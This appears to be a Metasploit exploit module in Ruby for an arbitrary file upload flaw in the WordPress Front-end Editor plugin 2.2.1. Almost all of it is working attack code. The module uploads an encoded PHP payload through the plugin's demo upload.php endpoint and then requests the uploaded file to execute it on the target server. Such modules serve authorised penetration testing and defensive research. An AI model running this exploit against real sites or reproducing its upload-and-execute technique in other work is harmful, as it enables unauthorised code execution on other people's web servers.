The Wordpress Front-end Editor plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress Front-end Editor File Upload',
'Description' => %q{
The Wordpress Front-end Editor plugin contains an authenticated file upload
vulnerability. We can upload arbitrary files to the upload folder, because
the plugin also uses it's own file upload mechanism instead of the wordpress
api it's possible to upload any file type.
},
'Author' =>
[
'Sammy', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '83637'],
['WPVDB', '7569'],
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Front-End Editor 2.2.1', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'))
end
def check
check_plugin_version_from_readme('front-end-editor', '2.3')
end
def exploit
print_status("#{peer} - Trying to upload payload")
filename = "#{rand_text_alpha_lower(5)}.php"
print_status("#{peer} - Uploading payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'),
'ctype' => 'application/octet-stream',
'headers' => {
'X-File-Name' => "#{filename}"
},
'data' => payload.encoded
)
if res
if res.code == 200
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") },
5
)
end
end